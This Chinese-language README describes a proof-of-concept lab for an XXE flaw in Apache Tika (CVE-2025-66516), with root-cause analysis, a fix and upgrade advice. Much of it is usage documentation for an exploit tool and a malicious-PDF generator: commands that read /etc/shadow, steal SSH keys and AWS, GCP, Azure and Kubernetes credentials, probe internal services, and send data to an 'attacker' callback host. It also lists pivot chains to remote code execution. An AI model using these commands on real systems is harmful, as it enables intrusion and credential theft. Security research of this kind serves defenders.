CVE-2025-66516 可用的漏洞利用、扫描器、说明。
CVE-2025-66516 是 Apache Tika 中的一个严重 XML 外部实体(XXE)注入漏洞,其 CVSS 评分为 10.0(最高严重性)。该漏洞允许远程攻击者通过上传包含恶意 XFA(XML Forms Architecture,XML 表单架构)内容的特制 PDF 文档,读取任意文件、执行服务端请求伪造(SSRF)并窃取敏感数据。
| 属性 | 值 |
|---|---|
| CVE ID | CVE-2025-66516 |
| CVSS 评分 | 10.0(严重) |
| 披露日期 | 2025 年 12 月 4 日 |
| 供应商 | Apache Software Foundation |
| 受影响产品 | Apache Tika |
| 攻击向量 | 网络(远程) |
| 身份验证 | 无需认证 |
| 组件 | 受影响版本 | 修复版本 |
|---|---|---|
| tika-core | 1.13 - 3.2.1 | 3.2.2+ |
| tika-parser-pdf-module | 2.0.0 - 3.2.1 | 3.2.2+ |
| tika-parsers | 1.13 - 1.28.5 | 2.0.0+ |
重要提示: 本 CVE 取代了 CVE-2025-54988,后者错误地将 PDF 模块认定为唯一受影响的组件。实际漏洞位于 tika-core 中。
该漏洞是 Apache Tika 处理 PDF 文档中的 XFA(XML Forms Architecture,XML 表单架构)数据时存在的一个 XML 外部实体(XXE)注入缺陷。
问题所在: Tika 依赖底层的 Java XML 解析器(具体来说是 StAX 解析器)来读取 XFA XML 内容。受影响版本未能正确配置解析器以禁用外部实体解析。当解析器遇到外部实体请求(如 SYSTEM "file:///etc/passwd")时,它会解析并返回文件内容。
缺陷位置: 该 bug 存在于 tika-core 的 XMLReaderUtils.getXMLInputFactory() 中:
public static XMLInputFactory getXMLInputFactory() {
XMLInputFactory factory = XMLInputFactory.newFactory();
tryToSetStaxProperty(factory, XMLInputFactory.IS_NAMESPACE_AWARE, true);
tryToSetStaxProperty(factory, XMLInputFactory.IS_VALIDATING, false);
factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER); // <-- Ineffective
return factory;
}
IGNORING_STAX_ENTITY_RESOLVER 原本旨在通过返回空结果来阻止 XXE,但它返回的是 String 而非预期的 InputStream。JDK 默认的 StAX 解析器静默地忽略了这个错误的返回类型,并回退到解析外部实体的默认行为。
该修复在工厂层面明确禁用了 DTD 和外部实体支持:
tryToSetStaxProperty(factory, XMLInputFactory.SUPPORT_DTD, false);
tryToSetStaxProperty(factory, XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
此外,解析器也被修改为返回正确的 InputStream 类型。
在 Java 生态系统中,存在多种 XML 解析器库。应用程序使用在 classpath 中配置或首先找到的那个解析器。
什么是 Woodstox? Woodstox 是一个高性能的开源 StAX XML 解析器,通常随 Java 应用程序一起打包。
它是如何提供防护的: 根据设计(而非偶然),Woodstox 的实现正确处理了 XMLResolver 的返回类型。当 Woodstox 从 IGNORING_STAX_ENTITY_RESOLVER 接收到字符串返回值时,它会将其视为有效的空内容,从而有效阻止了 XXE。
关键区别:
tika-server-standard.jar 捆绑了 Woodstox - 不易受攻击tika-core + 解析器模块(嵌入式使用)未捆绑 Woodstox - 易受攻击# 1. Start the lab environment
docker-compose up -d --build
# 2. Test against vulnerable Tika (JDK StAX, port 9997)
python poc/exploit.py --url http://localhost:9997 --check
# 3. Extract /etc/passwd
python poc/exploit.py --url http://localhost:9997 --file /etc/passwd
# 4. Compare with protected Tika (Woodstox, port 9998)
python poc/exploit.py --url http://localhost:9998 --check
CVE-2025-66516/
|-- docker-compose.yml # Lab orchestration
|-- vulnerable-tika/
| |-- Dockerfile # Tika with Woodstox (protected)
| +-- Dockerfile.jdk-stax # Tika without Woodstox (VULNERABLE)
|-- webapp/
| |-- Dockerfile
| |-- app.py # Flask upload application
| +-- templates/
|-- poc/
| |-- exploit.py # Automated exploitation tool
| +-- generate_payload.py # Malicious PDF generator
+-- README.md
| 服务 |
|---|
docker-compose up -d --build
exploit.py)支持自动生成载荷和提取数据的全链路利用。
# Check if target is vulnerable
python poc/exploit.py --url http://target:9998 --check
# Read local files
python poc/exploit.py --url http://target:9998 --file /etc/passwd
python poc/exploit.py --url http://target:9998 --file /etc/shadow
# AWS metadata theft (EC2 instances)
python poc/exploit.py --url http://target:9998 --aws-metadata
# Kubernetes secrets
python poc/exploit.py --url http://target:9998 --k8s-secrets
# SSRF to internal services
python poc/exploit.py --url http://target:9998 --ssrf http://internal:8080/admin
# Save extracted data
python poc/exploit.py --url http://target:9998 --file /etc/passwd --save loot.txt
generate_payload.py)生成恶意 PDF 文件,用于手动测试或与其他工具集成。
# Generate payload for specific file
python poc/generate_payload.py --target /etc/passwd --output exploit.pdf
# Generate SSRF payload
python poc/generate_payload.py --target http://169.254.169.254/latest/meta-data/ --output ssrf.pdf
# Generate OOB exfiltration payload
python poc/generate_payload.py --target /etc/passwd --callback http://attacker:8080 --output oob.pdf
# Use attack mode presets
python poc/generate_payload.py --mode aws_metadata --output aws.pdf
python poc/generate_payload.py --mode k8s_secrets --all-targets --output ./payloads/
# List available attack modes
python poc/generate_payload.py --list-modes
可用的攻击模式:
file_read - 读取本地文件(/etc/passwd、/etc/shadow 等)ssh_keys - 窃取 SSH 私钥aws_metadata - AWS EC2 元数据和 IAM 凭据gcp_metadata - GCP 服务账号令牌azure_metadata - Azure 托管身份令牌k8s_secrets - Kubernetes 服务账号凭据webapp_configs - 常见 Web 应用程序配置ssrf_internal - 探测内部服务在未包含 Woodstox 的 Tika 2.9.2 上进行测试(模拟嵌入式部署):
| 测试 | 结果 |
|---|---|
| XFA 检测 | [通过] 识别出 PDF 包含 XFA |
| XFA 解析 | [通过] 成功提取 XFA 内容 |
| XXE 文件读取 | [易受攻击] /etc/passwd 内容被窃取 |
| XXE SSRF | [易受攻击] 已发送外部请求 |
利用证明:
<li fieldName="data">data: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
在包含 Woodstox 的 Tika 2.9.2 上进行测试(标准 tika-server-standard.jar):
| 测试 | 结果 |
|---|---|
| XFA 检测 | [通过] 识别出 PDF 包含 XFA |
| XFA 解析 | [通过] 成功提取 XFA 内容 |
| XXE 文件读取 | [已阻止] 外部实体未被解析 |
| XXE SSRF | [已阻止] 无出站连接 |
输出显示空实体:
<li fieldName="data">data: </li>
该漏洞真实存在且非常严重。利用是否成功取决于 StAX 的实现:
tika-server-standard.jar - 捆绑的 Woodstox 可阻止 XXE从本质上讲,XXE 是一种 文件读取/SSRF 漏洞,而非直接的 RCE。不过,它可以实现多种攻击路径:
| 攻击 | 载荷示例 |
|---|---|
| 文件读取 | SYSTEM "file:///etc/passwd" |
| SSRF | SYSTEM "http://internal:8080/admin" |
| AWS 元数据 | SYSTEM "http://169.254.169.254/latest/meta-data/" |
| 场景 | 攻击路径 |
|---|---|
| AWS EC2 | XXE -> SSRF 到元数据 -> IAM 凭据 -> AWS CLI RCE |
| Kubernetes | XXE -> 读取服务账号令牌 -> kubectl exec |
| 内部 Jenkins |
将 Apache Tika 升级到 3.2.2 或更高版本
<dependency>
<groupId>org.apache.tika</groupId>
<artifactId>tika-core</artifactId>
<version>3.2.2</version>
</dependency>
确认所有 Tika 组件均已更新(tika-core 和解析器模块)
| 部署类型 | 风险等级 |
|---|---|
| tika-server-standard.jar | 低 - Woodstox 可缓解风险 |
| 嵌入式 Tika(库使用) | 高 - 很可能易受攻击 |
| 未包含 Woodstox 的自定义部署 | 高 - 易受攻击 |
问题 1:初始利用未生效
问题 2:多个 XML 声明错误
WstxParsingException: Illegal processing instruction target ("xml")问题 3:Woodstox 之谜
问题 4:测试了错误的配置
| 日期 | 事件 |
|---|---|
| 2025 年 8 月 | 披露 CVE-2025-54988(范围不完整) |
| 2025 年 12 月 4 日 | 发布 CVE-2025-66516(识别出完整范围) |
| 2025 年 12 月 4 日 | 发布包含修复的 Apache Tika 3.2.2 |
本实验环境和概念验证代码仅供授权的安全测试、教育目的和防御性研究使用。
未经明确的书面授权,请勿将这些工具用于任何系统。
本研究材料仅供教育目的使用。请负责任地使用。
| 端口 |
|---|
| 描述 |
|---|
| Web 应用程序 | 8080 | 文档上传前端 |
| Tika(Woodstox) | 9998 | 受保护 - 不易受攻击 |
| Tika(JDK StAX) | 9997 | 易受攻击 - 无 Woodstox |
| 攻击者监听器 | 9999 | 用于 OOB 测试的 HTTP 服务器 |
| XXE -> SSRF 到脚本控制台 -> Groovy RCE |
| 数据库 | XXE -> 读取配置文件 -> 数据库访问 |
| SSH | XXE -> 读取 SSH 密钥 -> 远程 Shell 访问 |